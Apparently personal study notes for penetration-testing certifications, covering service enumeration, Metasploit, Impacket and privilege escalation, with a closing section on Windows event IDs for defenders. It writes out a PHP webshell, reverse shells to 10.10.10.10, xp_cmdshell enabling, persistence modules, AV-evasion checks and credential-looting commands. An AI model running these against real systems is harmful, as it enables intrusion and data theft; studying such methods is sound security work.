CJCA Field Notes
Personal collection of terminal techniques and methodology used during engagements. Combines CPTS + CJCA approaches with practical tradecraft.
Creds Tracker
creds() {
echo "$*" >> ~/.creds
echo "[+] Added"
}
alias 'creds?'='cat ~/.creds 2>/dev/null'
credsreset() {
> ~/.creds
echo "[+] Credentials cleared"
}
IP Tracker
ipx() {
export ipx="$1"
if grep -q '^export ipx=' ~/.bashrc; then
sed -i "s/^export ipx=.*/export ipx=$1/" ~/.bashrc
else
echo "export ipx=$1" >> ~/.bashrc
fi
echo "[+] ipx set to $ipx"
}
Basics
alias addhost='sudo nano /etc/hosts'
alias ifc='ifconfig'
alias c='curl ifconfig.me'
alias c2='curl ipinfo.io'
alias www='python -m http.server 9000'
Infrastructure Checklist
- Host discovery
- All ports on all hosts
- Route and ping tests
- Firewalls
- DNS
- Vhosts
→ Build an asset inventory
→ Sketch the network map
Nmap System
Standard workflow
- Basic scan:
nmap <ip> - All open ports
- Top 100 TCP / Top 100 UDP
- NSE + version detection:
-sC -sV - UDP + firewall checks
sudo nmap -sUV -Pn --disable-arp-ping --source-port 53 <ip>
Evasion Techniques
--disable-arp-ping
--top-ports
-F
-sU
-A
-D RND:5
-g
--min-rate 300
-T2
-PE
--packet-trace
-Pn
-sn
-sUV
-n
--script=banner
sudo nmap -sV -Pn --disable-arp-ping
sudo ncat -nv --source-port 53 <ip> 50000
sudo nmap <ip> -sV -Pn --disable-arp-ping --source-port 53
Could be a high port number.
Fast open-port discovery
sudo nmap -sS -p- -Pn -n --min-rate 5000 --open <target>
Quick & Dirty
sudo nmap -sS -p- -Pn -n --min-rate 5000 --open <target>
nmap -sC -sV -p <ports> $ipx
Ping sweep
nmap -sn <subnet>
Fast scan
nmap -T4 -F <target or list>
Firewall check
# Use ACK to see if port responds differently
nmap -sA <target>
# Compare unfiltered ACK vs filtered SYN
Full scan
nmap -p- -T4 -Pn <target>
# If the scan hangs:
# --min-rate 1000 --max-retries 1
Service enumeration
# After you have open ports
nmap -sC -sV -p 21,22,443 <target>
# Vulnerability scripts (can be noisy)
nmap --script "vuln" -p 22 <target> # works well on port 80
If firewall drops packets → use -T3 instead of -T4.
Ports 80/443 → send to gobuster.
Search for scripts
ls /usr/share/nmap/scripts | grep http
Firewall bypass options
-f # fragment packets
--source-port 53
UDP (quick)
sudo nmap -F -sU
Get DNS info from a firewalled host
sudo nmap -sU -p 53 --script dns-nsid $ipx
Cheat sheet
Ping sweep: nmap -sn <subnet>
Fast scan: nmap -T4 -F <target>
Full TCP: nmap -p- -T4 -Pn <target>
UDP (quick): sudo nmap -F -sU --top-ports 100 <target>
Firewall check: nmap -sA <target> (compare ACK vs SYN)
Firewall bypass: -f --source-port 53
If scan hangs: --min-rate 1000 --max-retries 1
FTP Sweep
nmap -sV -sC -p21 $ipx
nmap -p21 --script ftp-* $ipx
Try anonymous login:
pwd
ls -la
dir
cd <dir>
get <file>
mget *
put test.txt
mkdir test
Web root access? Uploading directories?
If it’s a web server → try uploading a webshell:
<?php system($_GET['cmd']); ?>
Check version and search for public exploits.
# Download entire FTP
wget -m --ftp-user=anonymous --ftp-password="" ftp://<ip>
SMB Sweep
nmap -sC -sV -p 139,445
nmap -p 139,445 --script smb-os-discovery
nmap -p 139,445 --script smb*
nmap -p 139,445 --script smb-vuln*
rpcclient -U "" -N $ipx
srvinfo
querydominfo
enumlsgroups domain
queryuser <rid>
lookupnames <username>
lsaquery
smbclient -L //$ipx/ -N
enum4linux-ng -A $ipx
smbclient //<target_ip>/<share_name> -U <username>
sudo mount -t cifs //<target_ip>/<share_name> /mnt/<mount_point> -o username=<user>
smbmap -H $ipx
# Check SMBv1
smbclient -L //<IP> -N \
--option='client min protocol=NT1' \
--option='client max protocol=NT1'
smbclient //<IP>/<share> -N \
--option='client min protocol=NT1' \
--option='client max protocol=NT1'
DNS Pentest
whois
dig axfr @<target_ip> <domain.com>
fierce --domain <domain.com> --dns-server <target_ip>
gobuster dns -d <domain.com> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -r <target_ip>
nmap --script dns-cache-snoop.nse
nmap -sU -p53 --script dns-brute,dns-nsid,dns-zone-transfer <target_ip>
# Quick & Dirty
dnsrecon -d dev.inlanefreight.htb -n $ipx -D /usr/share/wordlists/dnsmap.txt -t brt
dig @$ipx version.bind CH TXT
# Banner grabbing
dig version.bind CHAOS TXT @DNS
nmap --script dns-nsid <DNS_IP>
nc -nv -u <DNS_IP> 53
dig NS <target-domain>
nslookup -type=NS <target-domain>
dnsenum --dnsserver <DNS_IP> --enum -p 0 -s 0 -o subdomains.txt -f <WORDLIST> <DOMAIN>
dig A
dig -X
nslookup -type=MX
fierce --domain <DOMAIN> --dns-servers <DNS_IP>
Note: AXFR usually works on second-level domains (thing.htb), not on subdomains (dev.thing.htb). Add the 2nd-level domain to your hosts file first.
Email Testing
nmap -sV -sC -p 25,110,143,993,995 $ipx
nmap --script smtp-open-relay $ipx
nc $ipx 25
VRFY
smtp-user-enum
# Identify IMAP/POP3 service (dovecot, exchange, etc.)
openssl s_client -connect <target>:993
CAPABILITY
# If no TLS → sniff plaintext
# Check SMTP information leakage
# Check username / naming conventions
# Open relay?
telnet $ipx 25
HELO example.com
MAIL FROM:<test@attacker.com>
RCPT TO:<controlled-email@gmail.com>
DATA
# type message, end with a single . on a new line
# Metasploit alternative
use auxiliary/scanner/smtp/smtp_relay
Open relay is a high / critical finding.
Connecting to Email
nmap -sV -sC -p 25,110,143,465,587,993,995 <target>
nc -nv <ip> 25
# POP3
USER anonymous / PASS <anything>
# IMAP
A01 LOGIN "" /
A01 LOGIN "anonymous" "anonymous"
smtp-user-enum
hydra -L users.txt -P passwords.txt <target> imap
curl -k 'imaps://<ip>' --user <user>:<pass>
curl -k 'pop3s://<ip>' --user <user>:<pass>
openssl s_client -connect <ip>:993
A01 LOGIN <user> <pass>
A02 LIST "" *
A03 SELECT "<folder_name>"
A04 FETCH 1:* BODY[HEADER]
A05 FETCH 1 BODY[TEXT] # replace 1 with message ID
openssl s_client -connect <ip>:995
USER <user>
PASS <pass>
LIST
RETR <message_number>
QUIT
Always check for multiple accounts. Email usually needs credentials — go back and re-check all ports.
SNMP
snmpwalk -v2c -c public $ipx
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt $ipx
braa public@$ipx:.1.3.6.*
MySQL
sudo nmap $ipx -sV -sC -p3306 --script mysql*
mysql -u username -p -h <ip> --skip-ssl # if certificate issues
# Custom port: -P <port>
show databases;
use <name>;
show tables;
show columns from <table>;
select * from <table>;
select * from <table> where <column> = "<string>";
MSSQL
sudo nmap \
--script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes \
--script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER \
-sV -p 1433 <ip>
# Note: NSE can be problematic — connect manually
msf6 auxiliary(scanner/mssql/mssql_ping) > set rhosts $ipx
impacket-mssqlclient user@$ipx -windows-auth
select name from sys.databases;
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 = admin
SELECT name FROM sys.databases;
SELECT name FROM sys.tables;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Useful Paths
/usr/share/metasploit-framework/
/usr/share/nmap/scripts/
/usr/share/wordlists
/usr/share/seclists
/usr/share/doc/python3-impacket/examples
/usr/share/wordlists/dnsmap.txt
# remember seclists SNMP wordlist
Metasploit
# Try a different payload
# If you already have a shell, upgrade to Meterpreter
# Set up a handler first
# Encode payload and check with VirusTotal
msf-virustotal -k <API key> -f TeamViewerInstall.exe
exploit -j
sessions
session 1 -i
search type:post
search platform:windows post/gather
set session 1
run
post/windows/gather/enum_creds
post/linux/gather/enum_system
post/windows/manage/persistence
post/multi/manage/autoroute
# From an existing shell
run post/windows/gather/checkvm
run post/multi/recon/local_exploit_suggester
Impacket
impacket-[TAB][TAB]
impacket-psexec -h
# Have creds or NTLM hash?
impacket-wmiexec
impacket-psexec
impacket-smbexec
# Local access → dump creds
impacket-secretsdump
# Active Directory
impacket-GetNPUsers # AS-REP roasting
impacket-GetUserSPNs # Kerberoasting
# Can intercept traffic?
impacket-ntlmrelayx
Shells
# PowerShell reverse shell (truncated for readability)
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;...}
python3 -c 'import pty;pty.spawn("/bin/bash")'
python2 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 40 columns 120
alias ls='ls --color=auto'
export PS1='\[\e[1;32m\]\u@\h\[\e[0m\]:\[\e[1;34m\]\w\[\e[0m\]\$ '
# No Python available
/usr/bin/script -q /dev/null /bin/bash
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.10.10.10",4445));[os.dup2(s.fileno(),i) for i in (0,1,2)];pty.spawn("/bin/sh")'
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'
Web Server
# Try 80 and 443
whatweb http://target
nikto -h http://target
nmap -p 80,443,8080 --script http-enum,http-methods <ip/fqdn>
Privilege Escalation
First run linpeas / winpeas / linenum / exploit-suggester / watson / sharpup.
Set up file transfer, pull output back to your attack box, and read it carefully.
sudo -l # GTFOBins
# Look for world-writable files (e.g. /var/www/html or /home/*)
# Open the file and add a malicious command (new admin user or root shell)
# Cron job running as root → is the target directory writable?
# Path hijacking
# Modify PATH or write to a directory that appears earlier in PATH
# System searches PATH from left to right
# Token impersonation
# User / Group / Others
# SUID: x becomes s — anyone can execute with the file owner’s privileges
find / -perm -4000 2>/dev/null
We are looking for:
- Can I run anything as root?
- Does a binary execute as root?
- Can a binary bypass normal permissions?
- Does root execute something I control?
- Can I modify trusted files?
- Can I replace what root loads?
- Is the kernel vulnerable?
- Did someone leave passwords, SSH keys, or tokens?
- Can I log into another host?
- Same password elsewhere?
- Config files / database / application credentials
- Mounted NFS / Samba shares
- Trust relationships
- Domain access / Kerberos / LDAP
- Can I escape a container?
- Can I become root / another user / access another host?
- Can I obtain credentials?
- Can I abuse something that already runs with higher privileges?
Linux
Permissions Trick
drwx--x--x
# cannot do: ls /home/alice/secret
# but if you know the filename:
cat /home/alice/secret/flag.txt
drwx--x--x alice alice secret
-r--r----- alice users password.txt
# and you are in the 'users' group
drwx--x--x
# ^ you might be in a group that has permissions
# you need -x on the directory and -r on the file
# Identity / Privileges
id
whoami
sudo -l
groups # important
# Host info / OS
hostname
uname -a
cat /etc/os-release
cat /etc/issue
# Users / Groups
cat /etc/passwd
cat /etc/group
last
# Network
ip a
ip route
arp -a
ss -tulpn
netstat -ano
# Processes / Services
ps aux
ps -ef
systemctl list-units --type=service
# Cron / Scheduled Tasks
crontab -l
ls -la /etc/cron*
# Shares / Mounts
mount
cat /etc/fstab
showmount -e 127.0.0.1
# Environment / Loot
env
cat ~/.bash_history
cat ~/.ssh/id_rsa
# Fast targeted search
find / -name user.txt 2>/dev/null
find / -name root.txt 2>/dev/null
find / -name "*.config" -o -name "*.conf" 2>/dev/null
# Fast credential / secret hunting
grep -rnw '/var/www/' -e 'password' 2>/dev/null
grep -rnw '/etc/' -e 'pass' 2>/dev/null
find / -perm -4000 2>/dev/null # SUID
find / -perm -2000 2>/dev/null # SGID
Windows
Key questions:
- Can I become someone else?
- Can I abuse a SYSTEM process?
- Can I modify something that SYSTEM executes?
First Commands
whoami /all
whoami /priv
systeminfo
hostname
cmdkey /list
net user
net localgroup administrators
Feeling lost? Run automated helpers while you continue manually:
winPEASx64.exe > peas.txt
seatbelt
PowerUp.ps1 / SharpUp
PrivescCheck
Scans take time — do manual checks or review evidence while they run.
# Identity & Privileges
whoami
whoami /all
whoami /priv
# Host Info & OS
hostname
systeminfo
# Users & Groups
Get-LocalUser
Get-LocalGroup
Get-LocalGroupMember Administrators
# Network & Connectivity
ipconfig /all
route print
arp -a
netstat -ano
Test-Connection 172.16.5.1 -Count 1
# Processes & Services
Get-Process
Get-Service
tasklist /svc
Get-ScheduledTask
# Shares & Environment Loot
Get-SmbShare
Get-PSDrive
Get-ChildItem Env:
echo $env:USERPROFILE
Blue Team — Windows Event Codes
ID 1 / 4625 Failed login
ID 3 Network connection
ID 6 Driver loaded
ID 7 Image loaded (DLL)
ID 11 File created
ID 12,13,14 Registry modification
ID 22 DNS query
ID 23 File delete
ID 25 Process tampering
ID 10 / 4656 / 4663 Process accessed
4624 Successful login (watch type 3 network, type 10 RDP)
4688 Process create (command line or parent-child)
7045 Service installed
4720 User account created
4672 Special privilege assigned to new logon
1102 Audit log cleared
4732 Member added to local group
106 New scheduled task
4104 Script block logging (obfuscated strings, base64, Mimikatz)
Sysmon Event IDs (Operational log — richer than 4688)
1 Process Create Image, CommandLine, ParentImage, User, Hashes
3 Network Connection Image → DestinationIp:Port (C2 hunting)
7 Image/DLL Loaded DLL hijacking, unsigned modules
8 CreateRemoteThread Injection
10 Process Access LSASS access / credential dump
11 FileCreate Malware drop path
12 Registry object added Persistence (Run keys)
13 Registry value set
15 FileCreateStreamHash ADS / alternate data streams
17 Pipe Created
18 Pipe Connected
22 DNS Query C2 domain lookup
25 Process Tampering
Common False Positives
- Failed logon → wrong password typed
- Account lockout → forgot password across devices
- PowerShell → IT admin activity
- cmd → batch files, installers, software updates
- rundll32 → Windows, Control Panel, printers
- regsvr32 → software install / updates
- msiexec → software deployment
- New service installed → legitimate installation
- WMI → monitoring software
- Remote logon type → helpdesk, admins, backup software
- SMB → file shares, printers, domain traffic
- DNS spike → browser startup, Windows Update, AV update
- Encoded PowerShell → management tools, Defender, Exchange, SCCM
- Network connection → updater, AV engine, telemetry
Does it fit normal business activity?
Indicators of Compromise
- Multiple failed logins from the same IP
- Successful login after many failures
- New domain admin account created
- User added to administrators
- Unexpected PowerShell or cmd activity
- Connections to known C2 IPs
- Outbound data transfers
- New scheduled tasks, services, or startup entries
- AV disabled
- Web server anomalies
- Copy of an .exe in a writable directory